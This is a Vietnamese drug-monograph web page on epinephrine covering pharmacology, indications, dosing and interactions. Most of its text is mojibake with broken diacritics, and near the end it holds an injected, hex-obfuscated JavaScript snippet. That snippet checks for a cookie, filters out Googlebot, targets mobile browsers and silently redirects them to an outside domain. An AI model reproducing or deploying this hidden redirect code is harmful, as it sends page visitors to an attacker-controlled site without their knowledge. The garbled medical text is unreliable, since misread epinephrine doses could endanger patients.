Epinephrine. Thua��c kA�ch thA�ch giao ca??m.

Epinephrine. Thuốc kích thích giao cảm.

Tracuuthuoctay chia sa?� bA�i via??t Epinephrine. Thua��c kA�ch thA�ch giao ca??m.A�lA� gA�? giA? thua��c bao nhiA?u? cha�� A�a��nh, cA?ch sa�� da�?ng, tA?c da�?ng pha�? thua��c A�Epinephrine..Via��c cha�� A�a��nh vA� sa�� da�?ng adrenalin pha??i do tha?�y thua��c cA? kinh nghia��m tha��c hia��n.Ha��i sa��c tim pha��i.Ca??p ca��u choA?ng pha??n va�� vA� choA?ng da??ng pha??n va�� (cA? giA?n ma??ch ha�� tha��ng vA� cung l?�a�?ng tim tha??p).C??n hen A?c tA�nh (pha��i ha�?p va��i cA?c thua��c khA?c nh?� glucocorticoid,salbutamol).GlA?cA?m gA?c ma�Y tiA?n phA?t.

Epinephrine. Thua��c kA�ch thA�ch giao ca??m.

TA?n chung qua��c ta??: Epinephrine.

MA? ATC: A01A D01, B02B C09, C01C A24, R03A A01, S01E A01.

Loa??i thua��c: Thua��c kA�ch thA�ch giao ca??m.

GiA? thua��c Epinephrine.: BA�nh lua?�n cua��i bA�i via??t A�a�? A�?�a�?c thA?ng bA?o giA?

Da??ng thua��c vA� hA�m l?�a�?ng

Dung da��ch tiA?m 0,1 mg/ml (0,1:1000), 1 mg/ml (1:1000) epinephrin d?�a��i da??ng mua��i hydroclorid.

Thua��c nha�? ma??t, dung da��ch 1%.

Thua��c phun A�a��nh lia�?u 280 microgram adrenalin acid tartrat ma��i la?�n phun.

Thua��c pha��i ha�?p va��i thua��c cha��ng hen.

Thua��c pha��i ha�?p va��i thua��c khA?c.

D?�a�?c lA? vA� c?? cha?? tA?c da�?ng

Adrenalin (epinephrin) lA� thua��c tA?c da�?ng tra��c tia??p gia��ng giao ca??m, kA�ch thA�ch ca?? tha�? tha�? alpha vA� tha�? tha�? beta, nh?�ng lA?n tha�? tha�? beta ma??nh h??n tha�? tha�? alpha. CA?c tA?c da�?ng d?�a�?c lA? ca��a adrenalin ra??t pha��c ta??p. TA?c da�?ng ca��a thua��c t?�??ng ta�� nh?� nha�?ng gA� xa??y ra khi kA�ch thA�ch cA?c sa�?i sau ha??ch giao ca??m, ta��c lA� kA�ch thA�ch cA?c sa�?i tha?�n kinh tia??t adrenalin. TA?c da�?ng ca��a thua��c thay A�a��i nhia�?u theo lia�?u dA?ng vA� pha??n xa?? bA? tra�� ca��a c?? tha�?. TrA?n tim – ma??ch, adrenalin cA? tA?c da�?ng lA�m tA?ng ta?�n sa�� vA� tA?ng la��c bA?p c?? tim; lA�m tA?ng tha�? tA�ch tA?m thu vA� ma��c tiA?u tha�? oxy ca��a c?? tim, tA?ng l?�u l?�a�?ng ma??ch vA�nh, tA?ng sa��c ca??n ngoa??i vi gA?y tA?ng huya??t A?p tA?m thu. Khi A�?�a�?c truya�?n tA�nh ma??ch, thua��c lA�m gia??m sa��c ca??n ngoa??i vi vA� huya??t A?p tA?m tr?�??ng, lA?c A�a?�u ta?�n sa�� tim tA?ng, nh?�ng sau A�A? gia??m do pha??n xa?? phA? giao ca??m. Tha�? tA�ch huya??t t?�??ng gia??m do da��ch khA?ng cA? protein A�i vA�o khu va��c ngoa??i bA�o. Adrenalin tA?ng kha?? nA?ng ka??t dA�nh ca��a A�tia�?u ca?�u vA� tA?ng A�A?ng mA?u. TrA?n ba�� mA?y hA? ha??p, adrenalin kA�ch thA�ch hA? A�ha??p nha??, gA?y giA?n pha?? qua??n ma??nh, nh?�ng la??i lA�m cho da��ch tia??t pha?? qua??n quA?nh h??n. TrA?n ha�� tha?�n kinh trung ?�??ng, tuy adrenalin A�t nga??m vA�o,

nh?�ng va?�n cA? tA?c da�?ng kA�ch thA�ch, thua��c A�t a??nh h?�a�Yng lA?n l?�u l?�a�?ng tua?�n hoA�n nA?o. Khi nha�? vA�o ma??t thua��c A�t gA?y giA?n A�a��ng ta��. TrA?n ha�� tiA?u hA?a, thua��c gA?y gia??m tr?�??ng la��c vA� gia??m bA�i tia??t ca��a rua��t, lA�m tA?ng l?�u l?�a�?ng mA?u ta??ng. TrA?n ha�� tia??t nia��u – sinh da�?c, adrenalin lA�m gia??m ma??nh l?�u l?�a�?ng mA?u tha?�n (cA? tha�? ta��i 40%), nh?�ng ma��c la�?c ca��a ca?�u tha?�n A�t ba�� thay A�a��i; lA�m gia??m tr?�??ng la��c bA�ng quang, nh?�ng la??i lA�m tA?ng tr?�??ng la��c c?? tr??n, nA?n cA? tha�? da?�n A�a??n A�A?i khA?. Adrenalin a��c cha?? c??n co ta�� cung A�ang mang thai. TrA?n chuya�?n hA?a, adrenalin gA?y gia??m tia??t insulin, tA?ng tia??t glucagon vA� tA?ng ta��c A�a�� phA?n gia??i glycogen da?�n A�a??n tA?ng A�?�a�?ng huya??t; gA?y tA?ng hoa??t tA�nh ca��a renin, tA?ng na��ng A�a�� acid bA�o ta�� do vA� kali trong huya??t t?�??ng. Adrenalin cA? tha�? gA?y tA?ng chuya�?n hA?a c?? ba??n 20 – 30% vA� cA?ng va��i co ma??ch a�Y da, cA? tha�? gA?y sa��t.

Ha?�u ha??t adrenalin ua��ng vA�o ba�� ba??t hoa??t ba�Yi enzym phA?n gia??i a�Y rua��t vA� ba�� chuya�?n hA?a khi qua gan la?�n A�a?�u. Thua��c cA? tA?c da�?ng nhanh khi A�?�a�?c tiA?m ba??p hoa?�c d?�a��i da (A�?�a�?ng d?�a��i da cA? cha?�m h??n tiA?m ba??p).

DA? A�?�a�?c tiA?m vA�o hay do ta��y th?�a�?ng tha?�n tia??t ra, thA� pha?�n la��n adrenalin vA�o tua?�n hoA�n A�a�?u ba�� ba??t hoa??t ra??t nhanh do A�?�a�?c nha?�p vA�o ta?? bA�o tha?�n kinh, do khua??ch tA?n vA� do enzym phA?n gia??i a�Y gan vA� a�Y cA?c mA?. Enzym catechol – O – methyltransferase (COMT) ba??t hoa??t adrenalin ngoa??i sinh vA� adrenalin na��i sinh, cA?n enzym mono amino oxydase (MAO) cha�� ya??u ba??t hoa??t catecholamin a�Y ha�� tha?�n kinh trung ?�??ng. CA?c sa??n pha?�m chuya�?n hA?a A�?�a�?c bA�i tia??t theo n?�a��c tia�?u.

Cha�� A�a��nh thua��cA� Epinephrine.

Via��c cha�� A�a��nh vA� sa�� da�?ng adrenalin pha??i do tha?�y thua��c cA? kinh nghia��m tha��c hia��n.

Ha��i sa��c tim pha��i.

Ca??p ca��u choA?ng pha??n va�� vA� choA?ng da??ng pha??n va�� (cA? giA?n ma??ch ha�� tha��ng vA� cung l?�a�?ng tim tha??p).

C??n hen A?c tA�nh (pha��i ha�?p va��i cA?c thua��c khA?c nh?� glucocorticoid,

salbutamol).

GlA?cA?m gA?c ma�Y tiA?n phA?t.

Cha��ng cha�� A�a��nh

Ng?�a�?i ba��nh ba�� gA?y mA? ba?�ng cyclopropan, halothan hay cA?c thua��c mA? nhA?m halothan vA� cA? tha�? gA?y ra rung tha??t.

Ng?�a�?i ba��nh ba�� c?�a�?ng giA?p ch?�a A�?�a�?c A�ia�?u tra�� a��n A�a��nh.

Ng?�a�?i ba��nh ba�� ba��nh tim ma??ch na?�ng, tA?ng huya??t A?p.

Ng?�a�?i ba��nh bA� A�A?i do ta??c ngha??n.

Ng?�a�?i ba��nh ba�� glA?cA?m gA?c ha??p, ng?�a�?i ba��nh cA? nguy c?? ba�� glA?cA?m gA?c A�A?ng.

Tha?�n tra�?ng

Ca??m tuya��t A�a��i tiA?m adrenalin ch?�a A�?�a�?c pha loA?ng vA�o tA�nh ma??ch.

  • ng?�a�?i ba��nh quA? nha??y ca??m va��i adrenalin, nha??t lA� ng?�a�?i ba�� c?�a�?ng giA?p.
  • ng?�a�?i ba��nh ma??c cA?c ba��nh tim ma??ch (thia??u mA?u ca�?c ba�� c?? tim, loa??n nha��p hay nha��p nhanh, ba��nh ma??ch mA?u cA? ta??c ngha??n (x?? va�?a A�a��ng ma??ch, tA?ng huya??t A?p, phA�nh A�a��ng ma??ch). A?au nga��c a�Y ng?�a�?i ba��nh A�A? cA? c??n A�au tha??t nga��c.

Ng?�a�?i ba��nh ba�� A�A?i thA?o A�?�a�?ng hay ba�� glA?cA?m gA?c ha??p.

Ng?�a�?i ba��nh A�ang dA?ng glycosid tim, quinidin, thua��c cha��ng tra?�m ca??m ba

vA?ng.

EPINEPHRIN (ADRENALIN)

 

Nha�? mA�i quA? nhia�?u adrenalin cA? tha�? gA?y ra pha??n a��ng sung huya??t tra�Y la??i vA� tA?ng cha??y n?�a��c mA�i.

KhA?ng A�?�a�?c nha�? dung da��ch adrenalin vA�o ma??t ng?�a�?i ba��nh ba�� glA?cA?m gA?c ha??p hoa?�c ng?�a�?i ba��nh cA? nguy c?? ba�� glA?cA?m gA?c A�A?ng.

Tha�?i ka�? mang thai

Adrenalin A�i qua nhau thai vA� vA�o vA?ng tua?�n hoA�n thai nhi va��i ma��t l?�a�?ng ra??t A�t. Ng?�a�?i ta khA?ng cho ra?�ng nA? cA? tA?c da�?ng gA?y da�� da??ng thai nhi a�Y ng?�a�?i.

Tha�?i ka�? cho con bA?

Adrenalin A�?�a�?c coi lA� an toA�n A�a��i va��i ng?�a�?i cho con bA?.

TA?c da�?ng khA?ng mong mua��n (ADR)

CA?c thua��c kA�ch thA�ch giao ca??m cA? tha�? gA?y ra ra??t nhia�?u tA?c da�?ng cA? ha??i khA?c nhau. Pha?�n la��n cA?c tA?c da�?ng khA?ng mong mua��n nA�y gia��ng nh?� nha�?ng gA� xa??y ra khi kA�ch thA�ch quA? ma??nh lA?n ha�� tha?�n kinh giao ca??m.

Th?�a�?ng ga?�p, ADR > 1/100

ToA�n thA?n: Nha��c A�a?�u, ma��t ma�?i, A�a�� ma�� hA?i.

Tim ma??ch: Nha��p tim nhanh, tA?ng huya??t A?p, ha��i ha��p.

Tha?�n kinh: Run, lo A?u, chA?ng ma?�t.

TiA?u hA?a: Tia??t nhia�?u n?�a��c ba�?t.

A?t ga?�p, 1/1000 < ADR < 1/100

Tim ma??ch: Loa??n nha��p tha??t.

TiA?u hA?a: KA�m A?n, bua��n nA?n, nA?n.

Tha?�n kinh: Sa�? hA?i, ba��n cha��n, ma??t nga��, da�� kA�ch thA�ch.

EPINEPHRIN (ADRENALIN)

 

Tia??t nia��u – sinh da�?c: A?A?i khA?, bA� A�A?i.

HA? ha??p: KhA? tha�Y.

Hia??m ga?�p, ADR < 1/1000

Tim ma??ch: Xua??t huya??t nA?o, phA? pha��i (do tA?ng huya??t A?p), hoa??i th?� (do co ma??ch), loa??n nha��p tim, A�au tha??t nga��c, ta�?t huya??t A?p, chA?ng ma?�t hoa ma??t, nga??t xa��u, nga��ng tim, hoa??i ta�� mA? (do adrenalin thoA?t ra ngoA�i ma??ch

mA?u khi tiA?m).

Tha?�n kinh: LA? la?�n, ra��i loa??n tA?m tha?�n.

Chuya�?n hA?a: Ra��i loa??n chuya�?n hA?a, nha??t lA� chuya�?n hA?a glucose.

Lia�?u l?�a�?ng vA� cA?ch dA?ng

Lia�?u l?�a�?ng pha??i A�?�a�?c tA�nh toA?n theo ma��c A�a�� na?�ng nha?? vA� theo A�A?p a��ng ca��a ta��ng ng?�a�?i ba��nh.

Ga�?i A? ma��t sa�� lia�?u:

ChoA?ng pha??n va��: Adrenalin lA� thua��c ?�u tiA?n la��a cha�?n A�a�? A�ia�?u tra�� choA?ng pha??n va��. Lia�?u ban A�a?�u nA?n dA?ng a�Y ng?�a�?i la��n lA� tiA?m d?�a��i da hoa?�c tiA?m ba??p ta�� 0,3 A�a??n 0,5 ml dung da��ch 1:1000, ca�� 20 hoa?�c 30 phA?t tiA?m nha??c la??i ma��t la?�n. Na??u tiA?m ba??p hoa?�c tiA?m d?�a��i da khA?ng cA? tA?c da�?ng, thA� pha??i dA?ng A�?�a�?ng tA�nh ma??ch; lia�?u tiA?m tA�nh ma??ch lA� ta�� 3 A�a??n 5 ml dung da��ch na��ng A�a�� 1:10000; cA?c la?�n cA?ch nhau ta�� 5 A�a??n 10 phA?t. Na??u tra�?y tim ma??ch na?�ng thA� pha??i tiA?m tra��c tia??p adrenalin vA�o tim. Trong tr?�a�?ng ha�?p sa��c, khA? tha�Y na?�ng hay khi cA? ca??n tra�Y a�Y A�?�a�?ng hA? ha??p thA� nA?n dA?ng A�?�a�?ng tA�nh ma??ch.

Nga��ng tim: Adrenalin lA� thua��c ?�u tiA?n A�a�? A�ia�?u tra�� nga��ng tim. Lia�?u th?�a�?ng A�?�a�?c khuyA?n dA?ng lA� tiA?m tA�nh ma??ch ta�� 0,5 A�a??n 1 mg, cA?ch nhau ta�� 3 A�a??n 5 phA?t. Va��i ng?�a�?i A�A? ba�� nga��ng tim tr?�a��c khi vA�o via��n thA� cA? khi pha??i dA?ng lia�?u cao h??n nhia�?u (ta��i 5 mg tiA?m tA�nh ma??ch). CA? tha�? truya�?n adrenalin liA?n ta�?c (0,2 A�a??n 0,6 mg/phA?t), na??u ca?�n thia??t. CA�ng cA?

EPINEPHRIN (ADRENALIN)

 

tha�? tiA?m tha??ng vA�o tim 0,1 – 1,0 mg adrenalin pha trong vA�i ml dung da��ch mua��i hay dung da��ch glucose A�a??ng tr?�??ng. TiA?m adrenalin vA�o tA�nh ma??ch, vA�o khA� qua??n hay vA�o tim cA? tA?c da�?ng ta��t trong A�ia�?u tra�� nga��ng

tim do rung tha??t. Adrenalin cha�� ya??u A�?�a�?c sa�� da�?ng trong tr?�a�?ng ha�?p A�ia�?u tra�� rung tha??t ba?�ng sa��c A�ia��n tha??t ba??i. Lia�?u khuyA?n dA?ng a�Y tra?� em lA� 7 – 27 microgam/kg (trung bA�nh lA� 10 microgam/kg).

Sa��c nhia��m khua?�n: Trong tr?�a�?ng ha�?p A�ia�?u tra�� sa��c nhia��m khua?�n na?�ng ba?�ng truya�?n da��ch, truya�?n dopamin ma��t mA�nh hoa?�c ka??t ha�?p va��i dobutamin ba�� tha??t ba??i, thA� truya�?n adrenalin vA�o tA�nh ma??ch (0,5 A�a??n 1 microgam/kg/phA?t) cA? tha�? cA? ka??t qua?? ta��t.

C??n hen pha?? qua??n na?�ng: Adrenalin lA� thua��c hay A�?�a�?c dA?ng nha??t A�a�? A�ia�?u tra�� c??n hen ca??p, do thua��c cA? tA?c da�?ng nhanh vA� lA�m gia??m phA? na�? pha?? qua??n nA?n gA?p pha?�n ca??i thia��n dung tA�ch sa��ng. Adrenalin tiA?m d?�a��i da th?�a�?ng cA? tA?c da�?ng ngay ta��c kha??c, nh?�ng vA� tA?c da�?ng nga??n nA?n ca�� 20 phA?t la??i pha??i tiA?m la??i. TiA?m nhia�?u lia�?u adrenalin d?�a��i da cA? tha�? duy trA� tA?c da�?ng ca��a lia�?u tiA?m A�a?�u tiA?n mA� khA?ng gA?y tA�ch lA�y thua��c. Lia�?u 0,5 mg adrenalin tiA?m d?�a��i da A�?�a�?c coi lA� lia�?u ta��i ?�u A�a�? A�ia�?u tra�� c??n hen ca??p tA�nh ta��t, mA� la??i tA?c A�a��ng A�t nha??t lA?n ha�� tim – ma??ch. KhA?ng nA?n coi tA?ng huya??t A?p vA� tim nhanh lA� cha��ng cha�� A�a��nh A�a��i va��i dA?ng adrenalin lia�?u nA�y, na??u ng?�a�?i ba��nh khA?ng ba�� ba��nh tA?ng huya??t A?p hay ba��nh tim ta�� tr?�a��c.

Tha�Y khA? khA? a�Y tra?� nha�?: Adrenalin tiA?m d?�a��i da cA? tA?c da�?ng ta��t A�a�? A�ia�?u hA?a c??n khA? tha�Y rA�t a�Y tra?� d?�a��i 2 tua��i. Adrenalin (1 mg/1 ml) A�?�a�?c tiA?m va��i lia�?u 0,01 ml/kg.

A?a�?c nhA?n ma??t: Nha�? vA�o trong nhA?n ca?�u dung da��ch adrenalin 1:1000000 cA? tA?c da�?ng duy trA� giA?n A�a��ng ta�� ta��t vA� an toA�n trong lA?c ma��.

Nga�� A�a��c cloroquin: Ka??t ha�?p diazepam vA� adrenalin cA?ng va��i hA? ha??p ha�� tra�? cA? tha�? cA? tA?c da�?ng ta��t A�a�? A�ia�?u tra�� nga�� A�a��c cloroquin. Adrenalin lia�?u 0,25 microgam/kg tiA?m tA�nh ma??ch ba?�ng b??m tiA?m ta�� A�a��ng, sau A�A? truya�?n va��i lia�?u 0,25 microgam/kg/phA?t cho A�a??n khi huya??t A?p tA?m thu cao h??n 100 mm Hg.

ViA?m thanh – khA� qua??n: Adrenalin da??ng khA� dung racemic hoa?�c levo – adrenalin cA?ng va��i cA?c thua��c khA?c, bao ga��m ca?? cA?c steroid (nh?� dexamethason) vA� da??ng thua��c phun s?�??ng cA? tA?c da�?ng trong A�ia�?u tra�� viA?m thanh – khA� qua??n gA?y khA? tha�Y a�Y tra?� ta�� 6 thA?ng A�a??n 6 tua��i.

GlA?cA?m: Nha�? adrenalin vA�o ma??t ba�� glA?cA?m gA?c ma�Y nguyA?n phA?t cA? tA?c da�?ng lA�m gia??m kA�o dA�i nhA?n A?p vA� gA?y co ma??ch mA�ng tia??p ha�?p. Trong A�ia�?u tra�� glA?cA?m gA?c ma�Y nguyA?n phA?t vA� cA?c glA?cA?m ma??n tA�nh khA?c, adrenalin th?�a�?ng A�?�a�?c cha�� A�a��nh ba�� sung A�a�? cha��ng co A�a��ng ta��. DA?ng pha��i ha�?p va��i timolol (sau 2 tua?�n dA?ng timolol thA� dA?ng thA?m adrenalin) cA? tA?c da�?ng ta��t h??n.

Cha??y mA?u A�?�a�?ng tiA?u hA?a trA?n: TiA?m adrenalin qua na��i soi cA? tA?c da�?ng ta��t A�a�? A�ia�?u tra�� cA?c va??t loA�t cha??y mA?u a�Y ng?�a�?i ba��nh ba�� cha??y mA?u A�?�a�?ng tiA?u hA?a trA?n, TiA?m 0,5 ml dung da��ch adrenalin (1:10.000) chia lA�m nhia�?u mA�i vA�o gia�?a vA� xung quanh a�� cha??y mA?u cho A�a??n khi mA?u nga��ng cha??y.

Herpes simplex: BA?i dung da��ch adrenalin (1:1000) vA�o cha�� ta��n th?�??ng cA? tA?c da�?ng lA�m gia??m ra??t nhanh cA?c tria��u cha��ng vA� thA?c A�a?�y quA? trA�nh lia�?n sa??o. BA?i 30 phA?t ma��t la?�n hoa?�c tA?y yA?u ca?�u nha?�m duy trA� vA?ng A�?�a�?c bA?i cA? mA�u nha�?t trong 3 – 4 gia�? A�a?�u tiA?n.

Gia??m A�au trong sa??n khoa: Adrenalin th?�a�?ng A�?�a�?c cho thA?m vA�o cA?c thua��c tA? ta??i cha�� A�a�? tA?ng gia??m A�au hoa?�c A�a�? tA?ng c?�a�?ng vA� kA�o dA�i gA?y tA? ngoA�i mA�ng ca��ng. ThA?m 0,2 mg adrenalin vA�o ha��n ha�?p thua��c gA?y tA? cA?

10 microgam sufentanil vA� 2,5 mg bupivacain cA? tA?c da�?ng kA�o dA�i gia??m A�au khi A�a?� mA� khA?ng gA?y tA?c da�?ng pha�? cA? A? nghA�a lA?m sA�ng cho ca?? thai nhi la?�n ng?�a�?i ma??. ThA?m adrenalin vA�o ha��n ha�?p sufentanil vA� bupivacain kA�o dA�i A�A?ng ka�? tha�?i gian tA? vA� lA�m gia??m ca??m giA?c mA� khA?ng a??nh h?�a�Yng A�a??n va?�n A�a��ng.

GA?y tA? ta??i cha��: Pha��i ha�?p adrenalin va��i cA?c dung da��ch thua��c tA? ta??i cha�� (nh?� tetracain/ adrenalin/cocain hay tetracain/lidocain/adrenalin) cA? tA?c da�?ng gia??m A�au ta��t trong ma��t sa�� tia�?u pha?�u thua?�t (khA?u cA?c va??t rA?ch khA?ng ba�� nhia��m khua?�n hay pha��c ta??p a�Y ma?�t vA� da A�a?�u) a�Y tra?� em.

D?�??ng va?�t c?�??ng A�au (priapism): TiA?m riA?ng adrenalin vA�o d?�??ng va?�t hay ka??t ha�?p va��i tiA?m ba??p leuprolid cA? tA?c da�?ng A�ia�?u tra�� c??n A�au d?�??ng va?�t. TiA?m vA�o d?�??ng va?�t 20 ml adrenalin 1:1.000.000 trong dung da��ch natri clorid 0,9%, va��a tiA?m, va��a hA?t ra.

T?�??ng tA?c thua��c

Adrenalin vA� cA?c thua��c cha??n beta: TA?c da�?ng lA�m tA?ng huya??t A?p ca��a adrenalin tA?ng lA?n ma��t cA?ch A�A?ng ka�? a�Y ng?�a�?i ba��nh dA?ng thua��c cha??n beta khA?ng cha�?n la�?c nh?� propranolol. CA? tha�? xa??y ra pha??n a��ng tA?ng huya??t A?p vA�/ hoa?�c cha?�m nha��p tim A�A?ng ka�?, nguy hia�?m ta��i tA�nh ma??ng. KhA?ng A�?�a�?c dA?ng thua��c a��c cha?? beta khA?ng cha�?n la�?c (nh?� propranolol) cho ng?�a�?i ba�� hen, vA� cA? tha�? gA?y ra co tha??t pha?? qua??n.

Adrenalin vA� cA?c thua��c a��c cha?? mono amino oxydase (MAO): TA?c da�?ng lA�m tA?ng huya??t A?p ca��a adrenalin cA? tha�? khA?ng thay A�a��i hoa?�c cha�� thay A�a��i A�t a�Y ng?�a�?i ba��nh cA? dA?ng thua��c a��c cha?? MAO.

Adrenalin vA� cA?c thua��c gA?y mA?: Ng?�a�?i ba��nh ba�� gA?y mA? ba?�ng cA?c thua��c mA? bay h??i (cyclopropan, enfluran, halothan, isofluran, fluroxen, methoxyfluran, diethyl ether) cA? nguy c?? ba�� loa??n nha��p tim na??u dA?ng adrenalin, tra�� khi va��i lia�?u ra??t nha�?. Lia�?u adrenalin khA?ng A�?�a�?c quA? 1 microgam/kg/30 phA?t na??u cA? dA?ng halothan; khA?ng A�?�a�?c quA? 3 microgam/kg/30 phA?t na??u dA?ng enfluran hay isofluran A�a�? A�a�? phA?ng loa??n nha��p tha??t. Tra?� em A�t ba�� h??n.

Adrenalin vA� cA?c alkaloid ca��a Rauwolfia: Khi cA? cA?c alkaloid ca��a Rauwolfia, thA� tA?c da�?ng tA?ng huya??t A?p ca��a adrenalin h??i tA?ng lA?n.

Adrenalin vA� cA?c thua��c cha��ng tra?�m ca??m ba vA?ng: Ng?�a�?i ba��nh A�?�a�?c A�ia�?u tra�� ba?�ng thua��c cha��ng tra?�m ca??m ba vA?ng cA? A�A?p a��ng ra??t ma??nh khi A�?�a�?c tiA?m adrenalin (tA?ng huya??t A?p, ra��i loa??n nha��p tim…). Ngay cA?c thua��c gA?y tA? ta??i cha�� cA? adrenalin cA�ng khA?ng nA?n dA?ng cho nha�?ng ng?�a�?i ba��nh nA�y.

T?�??ng ka��

Adrenalin cA? tha�? A�?�a�?c pha loA?ng trong dung da��ch mua��i A�a??ng tr?�??ng (natri clorid 0,9%) hoa?�c dung da��ch glucose A�a??ng tr?�??ng (glucose 5,0%).

QuA? lia�?u vA� xa�� trA�

Do cA?c tA?c da�?ng cA? ha??i ca��a adrenalin ta��n ta??i ra??t nga??n, vA� adrenalin ba�� kha�� hoa??t ra??t nhanh trong c?? tha�?, nA?n via��c A�ia�?u tra�� cA?c pha??n a��ng nga�� A�a��c a�Y ng?�a�?i ba��nh nha??y ca??m va��i thua��c hay do dA?ng quA? lia�?u cha�� ya??u lA� A�ia�?u tra�� ha�� tra�?. TiA?m ngay thua��c cA? tA?c da�?ng cha??n alpha (phentolamin), sau A�A? tiA?m thua��c cA? tA?c da�?ng cha??n beta (propranolol) A�a�? cha��ng la??i tA?c da�?ng gA?y co ma??ch vA� loa??n nha��p ca��a adrenalin. CA? tha�? dA?ng thua��c cA? tA?c da�?ng gA?y giA?n ma??ch nhanh (glyceryl trinitrat).

A?a�� a��n A�a��nh vA� ba??o qua??n

Ba??o qua??n thua��c a�Y ta�� la??nh (2 A�a??n 8oC), khA?ng A�a�? n??i nA?ng vA� trA?nh A?nhsA?ng.

Pha??i ba�? na??u tha??y thua��c chuya�?n sang ma?�u nA?u – ha��ng.

ThA?ng tin qui cha??

Epinephrin cA? trong danh ma�?c thua��c thia??t ya??u Via��t Nam ban hA�nh la?�n tha�� t?� nA?m 1999.

Thua��c A�a��c ba??ng A.

ThA�nh pha?�m gia??m A�a��c: KhA� dung phA?n lia�?u cA? hA�m l?�a�?ng ta��i A�a lA� 0,2 mg/1 la?�n phun; thua��c A�a?�t cA? hA�m l?�a�?ng ta��i A�a lA� 1 mg; thua��c ma??t cA? na��ng A�a�� ta��i A�a lA� 0,1%.

Ngua��n d?�a�?c th?� qua��c gia

Tham kha??o hA�nh a??nh cA?c dA?ng thua��c Epinephrine. Thua��c kA�ch thA�ch giao ca??m.

Epinephrine. Thua��c kA�ch thA�ch giao ca??m. Epinephrine. Thua��c kA�ch thA�ch giao ca??m.

Vui lA?ng A�a?�t cA?u ha�?i va�? bA�i via??t Epinephrine. Thua��c kA�ch thA�ch giao ca??m., chA?ng tA?i sa?? tra?? la�?i nhanh chA?ngvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Web Comments

One thought on “Epinephrine. Thua��c kA�ch thA�ch giao ca??m.

  1. Huỳnh Kiều says:

